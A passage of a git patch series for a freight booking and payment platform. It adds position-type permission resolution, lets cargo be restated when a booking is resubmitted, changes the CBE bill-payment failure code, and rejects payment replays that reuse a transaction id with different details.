canEditContractStep, + collectPermissionKeys, + hasFreightPermission, + setPositionTypePermissionResolver, } from './freight-permission.util'; import { FREIGHT_PERMS } from '../seed/freight-permissions.registry'; @@ -49,3 +52,72 @@ describe('canEditContractStep (strict per-step edit gate)', () => { ); }); }); + +/** + * The GL lockout regression: positions created through the admin UI keep their + * grants on the position TYPE, and the JWT only ever snapshots DIRECT position + * permissions. Without the type resolver those staff resolved to zero + * permissions, so every gated route rejected them — which is what kept GL + * officers out of their own clearance detail pages. + */ +describe('collectPermissionKeys — position-type grants', () => { + const CLEARANCE = FREIGHT_PERMS.contracts.clearanceReview; + + afterEach(() => { + setPositionTypePermissionResolver(() => []); + }); + + const glOfficer = { + roles: [], + permissions: [], + employee: { + position: { + permissions: [], // admin-created position carries NO direct grants + positionType: { key: 'commercial-global-logistics-(et)-officer' }, + }, + }, + }; + + it('resolves permissions carried by the position type', () => { + setPositionTypePermissionResolver((key) => + key === 'commercial-global-logistics-(et)-officer' ? [CLEARANCE] : [], + ); + + expect(collectPermissionKeys(glOfficer)).toContain(CLEARANCE); + expect(hasFreightPermission(glOfficer, CLEARANCE)).toBe(true); + }); + + it('handles the array-shaped employee payload too', () => { + setPositionTypePermissionResolver(() => [CLEARANCE]); + + const arrayShaped = { + roles: [], + permissions: [], + employee: [ + { + positions: [ + { permissions: [], positionType: { key: 'djibouti-gl-officer' } }, + ], + }, + ], + }; + + expect(hasFreightPermission(arrayShaped, CLEARANCE)).toBe(true); + }); + + it('still rejects when neither the position nor its type grants it', () => { + setPositionTypePermissionResolver(() => []); + + expect(hasFreightPermission(glOfficer, CLEARANCE)).toBe(false); + }); + + it('keeps direct position permissions working with no resolver installed', () => { + const direct = { + roles: [], + permissions: [], + employee: { position: { permissions: [{ key: CLEARANCE }] } }, + }; + + expect(hasFreightPermission(direct, CLEARANCE)).toBe(true); + }); +}); diff --git a/apps/edr-freight-api/src/common/freight-permission.util.ts b/apps/edr-freight-api/src/common/freight-permission.util.ts index 56c0e77c2..bc98a6df4 100644 --- a/apps/edr-freight-api/src/common/freight-permission.util.ts +++ b/apps/edr-freight-api/src/common/freight-permission.util.ts @@ -42,12 +42,41 @@ export function isFreightApprovalAdmin(user: MeLikeUser | null | undefined): boo return isSuperAdmin(user) || isOrganizationAdmin(user); } -/** Flat permission keys from JWT / session user (roles + position permissions). */ +/** + * Permissions carried by a position TYPE rather than the position itself. + * + * The JWT snapshots only DIRECT position permissions, so type-level grants — + * which is where admin-created positions keep theirs — are absent from the + * token entirely. This resolver is installed at startup + * (see `PositionTypePermissionsCache`) so the synchronous permission checks + * below can still see them. Left as a no-op resolver until then, which + * degrades to the old position-only behaviour rather than throwing. + */ +let positionTypePermissionResolver: (positionTypeKey: string) => string[] = () => + []; + +export function setPositionTypePermissionResolver( + resolver: (positionTypeKey: string) => string[], +): void { + positionTypePermissionResolver = resolver; +} + +/** + * Flat permission keys from JWT / session user: roles, position permissions, + * and the grants held by each position's TYPE. + */ export function collectPermissionKeys(user: MeLikeUser | null | undefined): string[] { if (!user) return []; const keys = new Set(); + const addTypePermissions = (positionType: PositionTypeLike | null | undefined) => { + if (!positionType?.key) return; + for (const key of positionTypePermissionResolver(positionType.key)) { + keys.add(key); + } + }; + for (const p of user.permissions ?? []) { if (p.key) keys.add(p.key); } @@ -63,6 +92,7 @@ export function collectPermissionKeys(user: MeLikeUser | null | undefined): stri for (const p of pos.permissions ?? []) { if (p.key) keys.add(p.key); } + addTypePermissions(pos.positionType); } } return [...keys]; @@ -71,6 +101,7 @@ export function collectPermissionKeys(user: MeLikeUser | null | undefined): stri for (const p of employee.position?.permissions ?? []) { if (p.key) keys.add(p.key); } + addTypePermissions(employee.position?.positionType); for (const delegated of employee.delegatedPositions ?? []) { for (const p of delegated.permissions ?? []) { if (p.key) keys.add(p.key); diff --git a/apps/edr-freight-api/src/common/position-type-permissions.cache.ts b/apps/edr-freight-api/src/common/position-type-permissions.cache.ts new file mode 100644 index 000000000..2848ed0b2 --- /dev/null +++ b/apps/edr-freight-api/src/common/position-type-permissions.cache.ts @@ -0,0 +1,83 @@ +import { Injectable, Logger, OnModuleInit } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; + +import { setPositionTypePermissionResolver } from './freight-permission.util'; + +/** + * Permissions granted to a position TYPE (`iam.position_type_permissions`). + * + * A position type is the platform's notion of a role, and positions created + * through the admin UI carry their grants there rather than on the position + * itself. The JWT only ever snapshots DIRECT position permissions, so those + * grants are invisible to `collectPermissionKeys` — staff on such a position + * resolve to zero permissions and every permission-gated route rejects them. + * + * The permission checks (`hasFreightPermission`, `FreightPermissionGuard`) are + * synchronous and sit on the request path, so the mapping is held in memory and + * refreshed periodically rather than queried per request. The dataset is tiny + * (tens of types, a few hundred rows), so a full reload is cheaper than any + * incremental scheme. + */ +@Injectable() +export class PositionTypePermissionsCache implements OnModuleInit { + private readonly logger = new Logger(PositionTypePermissionsCache.name); + + /** position_type key → permission keys. Empty until the first load lands. */ + private byPositionTypeKey = new Map(); + + // ponytail: fixed 5-min refresh, no invalidation hook. A permission granted + // in the admin UI takes up to one interval to reach the guards. Wire the + // grant mutation to call `refresh()` if that lag ever matters. + private static readonly REFRESH_INTERVAL_MS = 5 * 60 * 1000; + + constructor(@InjectDataSource() private readonly dataSource: DataSource) {} + + async onModuleInit(): Promise { + await this.refresh(); + // Hand the lookup to the permission utils, whose checks are synchronous and + // therefore cannot query IAM themselves. + setPositionTypePermissionResolver((positionTypeKey) => + this.get(positionTypeKey), + ); + const timer = setInterval(() => { + void this.refresh(); + }, PositionTypePermissionsCache.REFRESH_INTERVAL_MS); + // Never hold the process open for a cache refresh. + timer.unref?.(); + } + + /** Permission keys for a position-type key ([] when unknown/not loaded). */ + get(positionTypeKey: string | undefined | null): string[] { + if (!positionTypeKey) return []; + return this.byPositionTypeKey.get(positionTypeKey) ?? []; + } + + /** Reload the whole mapping. Failures keep the previous snapshot in place. */ + async refresh(): Promise { + try { + const rows: { position_type_key: string; permission_key: string }[] = + await this.dataSource.query( + `SELECT pt.key AS position_type_key, perm.key AS permission_key + FROM iam.position_type_permissions ptp + JOIN iam.position_types pt ON pt.id = ptp.position_type_id + JOIN iam.permissions perm ON perm.id = ptp.permission_id`, + ); + + const next = new Map(); + for (const row of rows) { + if (!row.position_type_key || !row.permission_key) continue; + const keys = next.get(row.position_type_key); + if (keys) keys.push(row.permission_key); + else next.set(row.position_type_key, [row.permission_key]); + } + this.byPositionTypeKey = next; + } catch (err) { + // iam schema unreachable — keep serving the previous snapshot rather than + // dropping every type-derived permission and locking staff out. + this.logger.warn( + `Position-type permission refresh failed: ${(err as Error).message}`, + ); + } + } +} diff --git a/apps/edr-freight-api/src/modules/auth/freight-me.service.ts b/apps/edr-freight-api/src/modules/auth/freight-me.service.ts index 006b482f4..6bcfd964d 100644 --- a/apps/edr-freight-api/src/modules/auth/freight-me.service.ts +++ b/apps/edr-freight-api/src/modules/auth/freight-me.service.ts @@ -35,10 +35,57 @@ export class FreightMeService { } } + /** + * Permissions granted to the position's TYPE (`iam.position_type_permissions`). + * A position type is the platform's notion of a role, and admin-created + * positions carry their grants there rather than on the position itself — but + * the JWT only ever snapshots direct position permissions. Without this, staff + * on such a position resolve to zero permissions and every permission-gated + * route rejects them (this is what locked GL officers out of their clearance + * detail pages). Resolved live from IAM, same as the position type above. + */ + private async lookupPositionTypePermissions( + positionId: string | undefined, + ): Promise { + if (!positionId) return []; + try { + const rows: { key: string }[] = await this.dataSource.query( + `SELECT DISTINCT perm.key + FROM iam.positions p + JOIN iam.position_type_permissions ptp + ON ptp.position_type_id = p.position_type_id + JOIN iam.permissions perm ON perm.id = ptp.permission_id + WHERE p.id = $1`, + [positionId], + ); + return rows.map((r) => r.key).filter(Boolean); + } catch { + return []; // iam schema unreachable — degrade to position-only permissions + } + } + async getEnrichedProfile(user: TCurrentUser) { - const positionType = await this.lookupPositionType( - user.employee?.position?.id, + const positionId = user.employee?.position?.id; + const [positionType, positionTypePermissionKeys] = await Promise.all([ + this.lookupPositionType(positionId), + this.lookupPositionTypePermissions(positionId), + ]); + + // Merge the type-level grants into the position's own permission list so + // BOTH consumers see them: `collectPermissionKeys` below, and the + // backoffice's `getPermissionKeys`, which walks this same nested array. + const positionPermissions = [ + ...(user.employee?.position?.permissions ?? []), + ]; + const seenPermissionKeys = new Set( + positionPermissions.map((p) => p?.key).filter(Boolean), ); + for (const key of positionTypePermissionKeys) { + if (!seenPermissionKeys.has(key)) { + seenPermissionKeys.add(key); + positionPermissions.push({ key } as (typeof positionPermissions)[number]); + } + } const employee = user.employee ? [ @@ -56,7 +103,7 @@ export class FreightMeService { name: user.employee.position.name, isDelegate: user.employee.position.isDelegate, parentPositionId: user.employee.position.parentPositionId, - permissions: user.employee.position.permissions ?? [], + permissions: positionPermissions, positionType, }, ] @@ -65,7 +112,15 @@ export class FreightMeService { ] : []; - const permissionKeys = collectPermissionKeys(user); + // `collectPermissionKeys` reads the raw token (position-level only), so + // union the type-level grants in — the backoffice prefers this flat list + // over the nested array and would otherwise still see none of them. + const permissionKeys = [ + ...new Set([ + ...collectPermissionKeys(user), + ...positionTypePermissionKeys, + ]), + ]; return { id: user.id, diff --git a/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts index cd803d719..faeab8cee 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts @@ -90,6 +90,21 @@ export class BookingInvoiceService { return this.billing.generateInvoice(input); } + /** + * Cancel the booking's open PREPAID invoice, if any — used when a + * changes-requested resubmit restates the cargo, so the re-priced booking can + * be re-invoiced. Throws when the invoice already has payments recorded + * (cargo must not change out from under recorded money). + */ + async cancelUnpaidInvoiceForBooking(bookingId: string): Promise { + const existing = await this.billing.findPayable( + Freight.InvoiceSource.Booking, + bookingId, + "PREPAID", + ); + if (existing) await this.billing.cancelInvoice(existing.id); + } + /** * React to a booking invoice being paid — the settlement branch point. Per-type * reactions live here (not in the payment process): each invoice type advances diff --git a/apps/edr-freight-api/src/modules/contracts/contract-booking.resubmit-cargo.spec.ts b/apps/edr-freight-api/src/modules/contracts/contract-booking.resubmit-cargo.spec.ts new file mode 100644 index 000000000..d5d15d73d --- /dev/null +++ b/apps/edr-freight-api/src/modules/contracts/contract-booking.resubmit-cargo.spec.ts @@ -0,0 +1,115 @@ +import { ContractBookingService } from './contract-booking.service'; + +/** + * OPERATION_CHANGES_REQUESTED resubmit with restated cargo. Operations can ask + * for the cargo itself to change, so a completion payload that restates + * containers must cancel the unpaid invoice, wipe the persisted cargo and + * re-run the fresh-completion path (re-persist, re-price, re-invoice). A + * payload without cargo keeps the day-only resubmit behavior. + */ +describe('ContractBookingService — changes-requested resubmit restating cargo', () => { + const CONTRACT = { + id: 'c-1', + reference: 'CTR-1', + contractKind: 'GENERAL', + freightType: 'CONTAINER', + tradeDirection: 'IMPORT', + customsClearingEnabled: false, + contractValidUntil: null, + cargoScope: [], + }; + + const bookingWithCargo = () => ({ + id: 'b-1', + contractId: 'c-1', + reference: 'BKG-1', + status: 'OPERATION_CHANGES_REQUESTED', + bookingContainers: [{ containerSize: '20FT', quantity: 4 }], + cargoTotalWeightVgm: 80, + originYardId: 'y-o', + destinationYardId: 'y-d', + }); + + function makeService() { + const bookingsRepository = { + findByIdWithFiles: jest.fn().mockResolvedValue(bookingWithCargo()), + deleteContainers: jest.fn().mockResolvedValue(undefined), + update: jest.fn().mockResolvedValue(undefined), + }; + const invoiceService = { + cancelUnpaidInvoiceForBooking: jest.fn().mockResolvedValue(undefined), + }; + const trainSchedulingService = { + assertBookingWindowOpen: jest.fn().mockResolvedValue(undefined), + }; + const contractsRepository = { + findByIdWithRelations: jest.fn().mockResolvedValue(CONTRACT), + }; + const service = new ContractBookingService( + contractsRepository as never, + bookingsRepository as never, + {} as never, // bookingPricingService + {} as never, // consolidationService + {} as never, // containerTypesService + {} as never, // ruleEngineService + {} as never, // milestoneService + invoiceService as never, + {} as never, // bookingNotifier + {} as never, // dataSource + trainSchedulingService as never, + {} as never, // bookingBatchService + {} as never, // bookingTransitionService + ); + return { service, bookingsRepository, invoiceService }; + } + + // Both paths dead-end into a downstream private assert we replace with a + // sentinel — which path threw tells us which branch the resubmit took. + const SENTINEL = new Error('reached-branch'); + + it('restated cargo cancels the invoice, wipes cargo and re-runs fresh completion', async () => { + const { service, bookingsRepository, invoiceService } = makeService(); + // First gate inside the fresh-completion (!hasCargo) path. + jest + .spyOn( + service as never as { assertWithinQuantityCap: () => Promise }, + 'assertWithinQuantityCap', + ) + .mockRejectedValue(SENTINEL); + + await expect( + service.completeUnderContract('c-1', 'b-1', { + scheduledDate: new Date().toISOString(), + containers: [{ containerSize: '20FT', quantity: 2 }], + } as never), + ).rejects.toBe(SENTINEL); + + expect(invoiceService.cancelUnpaidInvoiceForBooking).toHaveBeenCalledWith('b-1'); + expect(bookingsRepository.deleteContainers).toHaveBeenCalledWith('b-1'); + expect(bookingsRepository.update).toHaveBeenCalledWith('b-1', { + cargoTotalWeightVgm: 0, + }); + }); + + it('a day-only resubmit keeps the persisted cargo and invoice untouched', async () => { + const { service, bookingsRepository, invoiceService } = makeService(); + // First call inside the day-only (hasCargo) resubmit path. + jest + .spyOn( + service as never as { + assertPersistedContainersAvailable: () => Promise; + }, + 'assertPersistedContainersAvailable', + ) + .mockRejectedValue(SENTINEL); + + await expect( + service.completeUnderContract('c-1', 'b-1', { + scheduledDate: new Date().toISOString(), + } as never), + ).rejects.toBe(SENTINEL); + + expect(invoiceService.cancelUnpaidInvoiceForBooking).not.toHaveBeenCalled(); + expect(bookingsRepository.deleteContainers).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts b/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts index 7e0a23e3f..1c152d795 100644 --- a/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts +++ b/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts @@ -692,11 +692,30 @@ export class ContractBookingService { }); const freightType = contract.freightType; - const hasCargo = + let hasCargo = (booking.bookingContainers?.length ?? 0) > 0 || Number(booking.cargoTotalWeightVgm) > 0; const warnings: string[] = []; + // Operations may return a booking asking for the CARGO to change (fewer or + // more containers), not just the day. A resubmit whose payload restates the + // cargo therefore starts the completion over: cancel the unpaid invoice + // first (it throws if money is already recorded — cargo must not change + // under a paid invoice), then wipe the persisted cargo so the fresh- + // completion path below re-persists, re-prices and re-invoices from the + // payload. A resubmit without cargo keeps today's day-only behavior. + const restatesCargo = Boolean( + dto.containers?.length || dto.bulkLines?.length, + ); + if (hasCargo && restatesCargo) { + await this.invoiceService.cancelUnpaidInvoiceForBooking(booking.id); + await this.bookingsRepository.deleteContainers(booking.id); + await this.bookingsRepository.update(booking.id, { + cargoTotalWeightVgm: 0, + } as never); + hasCargo = false; + } + // EXPORT rides whole or not at all (no split concept): the chosen day must // have a single open train that carries the whole booking. First completion // sizes from the dto's cargo; a changes-requested resubmit (cargo already diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index c30a2ebda..4f3b171bb 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -947,7 +947,20 @@ export const POSITION_PERMISSION_PRESETS = { FREIGHT_PERMS.customers.verify, FREIGHT_PERMS.customers.deactivate, ]), - director: dedupe([...ROLE_PERMISSION_PRESETS.director]), + // Director additionally manages train scheduling + rail fleet (same block the + // operation officer/chief hold), on top of the approval-chain role preset. + director: dedupe([ + ...ROLE_PERMISSION_PRESETS.director, + FREIGHT_PERMS.trainScheduling.view, + FREIGHT_PERMS.trainScheduling.create, + FREIGHT_PERMS.trainScheduling.update, + FREIGHT_PERMS.trainScheduling.cancel, + FREIGHT_PERMS.trainScheduling.reschedule, + FREIGHT_PERMS.trainScheduling.rulesManage, + FREIGHT_PERMS.fleet.view, + FREIGHT_PERMS.fleet.manage, + ...FLEET_GRANULAR_KEYS, + ]), ceo: dedupe([...ROLE_PERMISSION_PRESETS.ceo]), ethiopianGl: dedupe([...ROLE_PERMISSION_PRESETS.glEthiopia]), djiboutiGl: dedupe([...ROLE_PERMISSION_PRESETS.glDjibouti]), diff --git a/apps/edr-freight-web/backoffice/src/auth/types.ts b/apps/edr-freight-web/backoffice/src/auth/types.ts index a361c2abc..44fa4e595 100644 --- a/apps/edr-freight-web/backoffice/src/auth/types.ts +++ b/apps/edr-freight-web/backoffice/src/auth/types.ts @@ -23,7 +23,13 @@ interface AuthEmployeePosition { permissions?: AuthPermission[]; /** Some IAM payloads nest the position record instead of flattening its key. */ position?: { id?: string; key?: string; name?: LocaleText }; - positionType?: { id?: string; key?: string; name?: LocaleText } | null; + positionType?: { + id?: string; + key?: string; + name?: LocaleText; + /** Grants held by the TYPE — where admin-created positions keep theirs. */ + permissions?: AuthPermission[]; + } | null; } interface AuthEmployeeRecord { diff --git a/apps/edr-freight-web/backoffice/src/components/contracts/BookingChangesRequestedAlert.tsx b/apps/edr-freight-web/backoffice/src/components/contracts/BookingChangesRequestedAlert.tsx index 16b1ab602..f3b56a464 100644 --- a/apps/edr-freight-web/backoffice/src/components/contracts/BookingChangesRequestedAlert.tsx +++ b/apps/edr-freight-web/backoffice/src/components/contracts/BookingChangesRequestedAlert.tsx @@ -1,6 +1,6 @@ import { Alert, Button, Group, Paper, Stack, Text } from "@mantine/core"; import { DateInput } from "@mantine/dates"; -import { AlertTriangle, Send } from "lucide-react"; +import { AlertTriangle, Pencil, Send } from "lucide-react"; import { useState } from "react"; import { Link } from "react-router-dom"; import toast from "react-hot-toast"; @@ -16,6 +16,9 @@ export interface BookingChangesRequestedAlertProps { scheduledDate?: string | null; /** GL Ethiopia owns customs bookings, so only they get the resubmit control. */ canResubmit: boolean; + /** Completion-form route for editing the cargo before resubmitting — + * rendered only for resubmit-capable users when provided. */ + editHref?: string; onResubmitted?: () => void; } @@ -33,6 +36,7 @@ export function BookingChangesRequestedAlert({ note, scheduledDate, canResubmit, + editHref, onResubmitted, }: BookingChangesRequestedAlertProps) { const [day, setDay] = useState( @@ -122,6 +126,18 @@ export function BookingChangesRequestedAlert({ > Resubmit to Operations + {editHref ? ( + + ) : null} ) : null} diff --git a/apps/edr-freight-web/backoffice/src/lib/permissions.ts b/apps/edr-freight-web/backoffice/src/lib/permissions.ts index bc70c95a2..9c98fe4ab 100644 --- a/apps/edr-freight-web/backoffice/src/lib/permissions.ts +++ b/apps/edr-freight-web/backoffice/src/lib/permissions.ts @@ -342,6 +342,14 @@ export function getPermissionKeys(user: AuthUser | null | undefined): string[] { for (const p of pos.permissions ?? []) { if (p.key) keys.add(p.key); } + // Positions created through the admin UI keep their grants on the + // position TYPE, not the position — miss these and such staff resolve to + // zero permissions and every gated route rejects them. `/api/me` folds + // them into the position's permission list, but older payloads may still + // carry them separately. + for (const p of pos.positionType?.permissions ?? []) { + if (p.key) keys.add(p.key); + } } } return [...keys]; diff --git a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceDetailPage.tsx index 3b4d2edd9..b49eb419c 100644 --- a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceDetailPage.tsx @@ -311,6 +311,7 @@ export default function ContractClearanceDetailPage() { note={clearance.linkedBookingReviewNote} scheduledDate={clearance.linkedBookingScheduledDate} canResubmit={canResubmitBooking} + editHref={`/dashboard/contracts/${id}/bookings/${linkedBookingId}/complete?copyFrom=${linkedBookingId}`} onResubmitted={() => { void refetch(); void refetchContract(); diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx index 6b4c8927d..3cb3feb9e 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ChangesRequestedView.tsx @@ -8,7 +8,7 @@ import { TextInput, } from "@mantine/core"; import { useMutation, useQuery } from "@tanstack/react-query"; -import { AlertCircle, Send, XCircle } from "lucide-react"; +import { AlertCircle, Pencil, Send, XCircle } from "lucide-react"; import { useState } from "react"; import { useNavigate } from "react-router-dom"; @@ -86,7 +86,7 @@ export function ChangesRequestedView({ {booking.latestChangeRequestNote ? ( - + {booking.latestChangeRequestNote} ) : undefined} @@ -108,8 +108,25 @@ export function ChangesRequestedView({ Update the documents for this booking, then resubmit for review. Replace any that changed and attach any that are still required. + Need to change the cargo itself — containers, route, schedule or + other details? Edit the booking first, then come back and + resubmit. + + {flow.validationError && ( From 533de3cc93591a757cad846a0d6b94af2e925b1d Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 17:50:27 +0000 Subject: [PATCH 06/48] fix(cbe): update response code from 3 to 2 for business failures in CBE integration --- .../TrainScheduleV2DetailPage.tsx | 50 +++++++++++++++++-- .../modules/cbe-bill/cbe-bill.controller.ts | 2 +- .../src/modules/cbe-bill/cbe-bill.service.ts | 18 ++++++- .../modules/cbe-bill/cbe-exception.filter.ts | 4 +- .../cbe-bill/mappers/cbe-error.mapper.ts | 4 +- .../cbe-bill/mappers/cbe-payment.mapper.ts | 2 +- .../cbe-bill/mappers/cbe-query.mapper.ts | 2 +- integration/src/cbe-bill.it.ts | 35 ++++++++++--- 8 files changed, 98 insertions(+), 19 deletions(-) diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx index ce6fe5353..d20ed83ef 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx @@ -916,17 +916,57 @@ export default function TrainScheduleV2DetailPage() { {schedule.route?.name ?? "Train schedule"} - {schedule.trainNumber ? ( - - {schedule.trainNumber} - - ) : null} {schedule.train ? ( Train {schedule.train.code} ) : null} + + {/* Voyage (train) number and trade direction — the two things + operations identify a run by, so they read at a glance + rather than as small badges among the rest. */} + + {schedule.trainNumber ? ( + + + Voyage No. + + + {schedule.trainNumber} + + + ) : null} + {schedule.direction ? ( + + + Direction + + + {schedule.direction} + + + ) : null} + {(schedule.stops?.length ?? 0) >= 3 || (schedule.bookings ?? []).some( (b) => b.tradeDirection === "DOMESTIC", diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.controller.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.controller.ts index 46b8f9009..86f8f1475 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.controller.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.controller.ts @@ -22,7 +22,7 @@ import { CbePaymentResponseDto } from "./dto/cbe-payment-response.dto"; * CBE Unified Bill Payment — the INBOUND surface CBE core banking calls (docs/cbe/). We are * the biller: CBE authenticates against /cbe/oauth/token with credentials we issued, then * presents the bearer token on /cbe/query and /cbe/payment. Business failures answer HTTP 200 - * with Response_Code "3"; only authentication answers 401 (plan D6/D7). + * with Response_Code "2"; only authentication answers 401 (plan D6/D7). */ @ApiTags("CBE Unified Bill (inbound)") @Controller("cbe") diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts index 478f60d0c..c56622da0 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts @@ -59,7 +59,7 @@ function localReason(intent: PaymentIntent): BillNotPayableReason { /** * Orchestration for CBE's three inbound calls (docs/cbe/CBE_IMPLEMENTATION_PLAN.md Phase 3). - * Business failures return HTTP 200 + Response_Code "3" envelopes (never throw past the + * Business failures return HTTP 200 + Response_Code "2" envelopes (never throw past the * controller); the exception filter only catches auth, validation, and the unexpected. */ @Injectable() @@ -184,6 +184,22 @@ export class CbeBillService { ); if (prior) { if (prior.tradeStatus === "SUCCESS") { + // A replay must be the SAME attempt. A reused id with different money details is + // not a retry — echoing the stored success would fake a settlement that never ran. + const orig = prior.requestPayload as unknown as + | CbePaymentRequestDto + | undefined; + if ( + orig && + (orig.Bill_Id !== dto.Bill_Id || + orig.Cbe_Txn_Ref !== dto.Cbe_Txn_Ref || + Number(orig.Amount) !== Number(dto.Amount)) + ) { + return mapPaymentFailure( + dto, + `End_To_End_Txn_Id ${dto.End_To_End_Txn_Id} was already used by a different payment.`, + ); + } // Replay the stored body verbatim. Never re-settle. return prior.responsePayload as unknown as CbePaymentResponseDto; } diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts index dcbb5d82a..a5a7055b5 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts @@ -54,7 +54,7 @@ export class CbeExceptionFilter implements ExceptionFilter { : exception.message; response.status(HttpStatus.OK).json({ Status: "FAILED", - Response_Code: "3", + Response_Code: "2", Response_Description: message || "Invalid request", }); return; @@ -65,7 +65,7 @@ export class CbeExceptionFilter implements ExceptionFilter { ); response.status(HttpStatus.OK).json({ Status: "FAILED", - Response_Code: "3", + Response_Code: "2", Response_Description: "Internal server error.", }); } diff --git a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts index 7cda33117..98b5e8825 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts @@ -16,8 +16,8 @@ export class CbeBillError extends Error { } /** - * Every failure maps to Response_Code "3" — the AAFDA spec (§2.10, §3.10) defines only - * 0 (success), 1 (auth), 3 (business); only the description is specific (plan §6.6). + * Every failure maps to Response_Code "2" (per current CBE integration requirement; the + * original AAFDA plan used 3); only the description is specific (plan §6.6). */ export function toCbeFailure(err: unknown): { description: string; diff --git a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-payment.mapper.ts b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-payment.mapper.ts index d90d94c91..8e6259930 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-payment.mapper.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-payment.mapper.ts @@ -27,7 +27,7 @@ export function mapPaymentFailure( Cbe_Txn_Ref: request.Cbe_Txn_Ref, Destination_Txn_Ref: "", Status: "FAILED", - Response_Code: "3", + Response_Code: "2", Response_Description: description, Additional_Fields: [], }; diff --git a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-query.mapper.ts b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-query.mapper.ts index 95caadc75..d2153b6a5 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-query.mapper.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-query.mapper.ts @@ -48,7 +48,7 @@ export function mapQueryFailure( Transaction_Type: "", Timestamp: new Date().toISOString(), Status: "FAILED", - Response_Code: "3", + Response_Code: "2", Response_Description: description, Additional_Fields: [], }; diff --git a/integration/src/cbe-bill.it.ts b/integration/src/cbe-bill.it.ts index 974d00b07..a75e897a4 100644 --- a/integration/src/cbe-bill.it.ts +++ b/integration/src/cbe-bill.it.ts @@ -122,15 +122,18 @@ describe("CBE Unified Bill (payment service as biller)", () => { End_To_End_Txn_Id: txnId("q404"), Bill_Id: "000000000000", }); - // Business failures are HTTP 200 + Response_Code "3" — CBE treats a non-200 + // Business failures are HTTP 200 + Response_Code "2" — CBE treats a non-200 // as a channel fault and retries. expect(res.status).toBe(200); - expect(res.body.Response_Code).toBe("3"); + expect(res.body.Response_Code).toBe("2"); }); + let settleBody: Record; + let settledTxnRef: string; + it("settles the freight invoice when CBE reports the debit", async () => { const invoice = await currentInvoice(invoiceId); - const res = await cbe(token, "/cbe/payment", { + settleBody = { Destination_Api_Name: API_NAME, End_To_End_Txn_Id: txnId("p1"), Cbe_Txn_Ref: `CBE${Date.now()}`, @@ -140,9 +143,11 @@ describe("CBE Unified Bill (payment service as biller)", () => { Currency: "ETB", Full_Name: "IT Payer", Phone_No: "+251911000001", - }); + }; + const res = await cbe(token, "/cbe/payment", settleBody); expect(res.status).toBe(200); expect(res.body.Response_Code).toBe("0"); + settledTxnRef = res.body.Destination_Txn_Ref; const paid = await poll<{ status: string }>( "invoice PAID via CBE bill", @@ -154,6 +159,24 @@ describe("CBE Unified Bill (payment service as biller)", () => { expect(paid.status).toBe("PAID"); }); + it("replays the stored success when CBE retries the same attempt verbatim", async () => { + const res = await cbe(token, "/cbe/payment", settleBody); + expect(res.status).toBe(200); + expect(res.body.Response_Code).toBe("0"); + // The stored body, not a re-settlement — same order id as the first answer. + expect(res.body.Destination_Txn_Ref).toBe(settledTxnRef); + }); + + it("rejects a settled End_To_End_Txn_Id reused with a different amount", async () => { + const res = await cbe(token, "/cbe/payment", { 